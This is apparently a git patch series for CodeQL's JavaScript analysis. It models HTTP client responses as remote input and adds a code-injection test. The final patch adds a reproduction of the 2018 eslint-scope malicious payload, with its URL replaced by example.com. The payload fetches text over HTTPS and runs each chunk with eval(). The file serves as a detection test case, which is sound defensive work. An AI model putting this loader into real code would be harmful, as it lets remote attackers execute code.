b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition_getARouteHandler.expected index d271cec552e..722c13b5302 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition_getARouteHandler.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition_getARouteHandler.expected @@ -1,8 +1,8 @@ | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | src/http.js:4:32:10:1 | functio ... .foo;\\n} | | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | src/http.js:12:19:16:1 | functio ... ar");\\n} | -| src/http.js:23:1:23:31 | http.cr ... dler()) | src/http.js:21:12:21:30 | function(req,res){} | -| src/http.js:26:1:26:33 | createS ... res){}) | src/http.js:26:14:26:32 | function(req,res){} | -| src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | src/http.js:28:19:31:1 | functio ... r2");\\n} | -| src/http.js:36:1:36:36 | http.cr ... dler()) | src/http.js:34:12:34:27 | (req,res) => f() | +| src/http.js:57:1:57:31 | http.cr ... dler()) | src/http.js:55:12:55:30 | function(req,res){} | +| src/http.js:60:1:60:33 | createS ... res){}) | src/http.js:60:14:60:32 | function(req,res){} | +| src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | src/http.js:62:19:65:1 | functio ... r2");\\n} | +| src/http.js:70:1:70:36 | http.cr ... dler()) | src/http.js:68:12:68:27 | (req,res) => f() | | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | src/https.js:4:33:10:1 | functio ... .foo;\\n} | | src/https.js:12:1:16:2 | https.c ... r");\\n}) | src/https.js:12:20:16:1 | functio ... ar");\\n} | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/isCreateServer.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/isCreateServer.expected index acb90073d8f..66017986d4c 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/isCreateServer.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/isCreateServer.expected @@ -1,8 +1,8 @@ | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | -| src/http.js:23:1:23:31 | http.cr ... dler()) | -| src/http.js:26:1:26:33 | createS ... res){}) | -| src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | -| src/http.js:36:1:36:36 | http.cr ... dler()) | +| src/http.js:57:1:57:31 | http.cr ... dler()) | +| src/http.js:60:1:60:33 | createS ... res){}) | +| src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | +| src/http.js:70:1:70:36 | http.cr ... dler()) | | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | | src/https.js:12:1:16:2 | https.c ... r");\\n}) | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/http.js b/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/http.js index 74584c475e7..11a52f701f9 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/http.js +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/http.js @@ -17,6 +17,40 @@ http.createServer(function(req, res) { http.request({ auth: "auth" }); +function makeClientRequests() { + var req = http.request({}, (response) => { + response.statusCode; + response.on('data', (chunk) => { + chunk[0]; + }) + }) + var post = http.request({url: 'https://example.com', method: 'POST'}); + + post.on('response', (response) => { + response.on('data', (chunk) => { + chunk[0]; + }); + }); + + post.on('redirect', (redirect) => { // Electron-specific APIs, not present on Node.js ClientRequests + redirect.statusCode; + post.followRedirect(); + }); + + post.on('login', (authInfo, callback) => { + authInfo.host; + callback('username', 'password'); + }); + + post.on('error', (error) => { + error.something; + }); + + post.setHeader('referer', 'https://example.com'); + post.write('stuff'); + post.end('more stuff'); +} + function getHandler() { return function(req,res){} } diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/https.js b/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/https.js index d9fd9e87c23..d9669d8d748 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/https.js +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/src/https.js @@ -16,3 +16,4 @@ https.createServer(function(req, res) { }) https.request({ auth: "auth" }); + From 4698d13a0d398cec8d8202307f9226e174dac542 Mon Sep 17 00:00:00 2001 From: Robert Marsh Date: Wed, 8 Aug 2018 10:47:44 -0700 Subject: [PATCH 2/3] JavaScript: add change note --- change-notes/1.18/analysis-javascript.md | 1 + 1 file changed, 1 insertion(+) diff --git a/change-notes/1.18/analysis-javascript.md b/change-notes/1.18/analysis-javascript.md index aac65ea9601..b1b1516597c 100644 --- a/change-notes/1.18/analysis-javascript.md +++ b/change-notes/1.18/analysis-javascript.md @@ -53,3 +53,4 @@ * HTTP header names are now always normalized to lower case to reflect the fact that they are case insensitive. In particular, the result of `HeaderDefinition.getAHeaderName`, and the first parameter of `HeaderDefinition.defines`, `ExplicitHeaderDefinition.definesExplicitly` and `RouteHandler.getAResponseHeader` is now always a lower-case string. * The class `JsonParseCall` has been deprecated. Use `JsonParserCall` instead. * The handling of spread arguments in the data flow library has been changed: `DataFlow::InvokeNode.getArgument(i)` is now only defined when there is no spread argument at or before argument position `i`, and similarly `InvokeNode.getNumArgument` is only defined for invocations without spread arguments. +* HTTP and HTTPS requests made using the Node.js `http.request` and `https.request` APIs and the Electron `Electron.net.request` and `Electron.ClientRequest` APIs are modeled as `RemoteFlowSources`. From aaeda5dfcc3c02eeaad139d77f7a3f06c96f6df5 Mon Sep 17 00:00:00 2001 From: Robert Marsh Date: Tue, 14 Aug 2018 12:59:41 -0700 Subject: [PATCH 3/3] JavaScript: add the ESLint attack as a test --- .../Security/CWE-094/CodeInjection.expected | 1 + .../Security/CWE-094/eslint-escope-build.js | 27 +++++++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-094/eslint-escope-build.js diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected index f61aca567bd..07724fae1ab 100644 --- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected @@ -12,6 +12,7 @@ | angularjs.js:47:16:47:30 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:47:16:47:30 | document.cookie | User-provided value | | angularjs.js:50:22:50:36 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:50:22:50:36 | document.cookie | User-provided value | | angularjs.js:53:32:53:46 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:53:32:53:46 | document.cookie | User-provided value | +| eslint-escope-build.js:21:16:21:16 | c | $@ flows to here and is interpreted as code. | eslint-escope-build.js:20:22:20:22 | c | User-provided value | | express.js:7:24:7:69 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:7:44:7:62 | req.param("wobble") | User-provided value | | express.js:9:34:9:79 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:9:54:9:72 | req.param("wobble") | User-provided value | | express.js:12:8:12:53 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:12:28:12:46 | req.param("wobble") | User-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-094/eslint-escope-build.js b/javascript/ql/test/query-tests/Security/CWE-094/eslint-escope-build.js new file mode 100644 index 00000000000..9f3607cadf5 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/eslint-escope-build.js @@ -0,0 +1,27 @@ +// the eslint-escope attack, with the URL altered to avoid triggering antivirus software. +// See https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes + +try { + var https = require("https"); + https + .get( + { + hostname: "example.com", + path: "modified/to/avoid/antivirus", + headers: { + "User-Agent": + "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0", + Accept: + "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + } + }, + r => { + r.setEncoding("utf8"); + r.on("data", c => { + eval(c); + }); + r.on("error", () => {}); + } + ) + .on("error", () => {}); +} catch (e) {}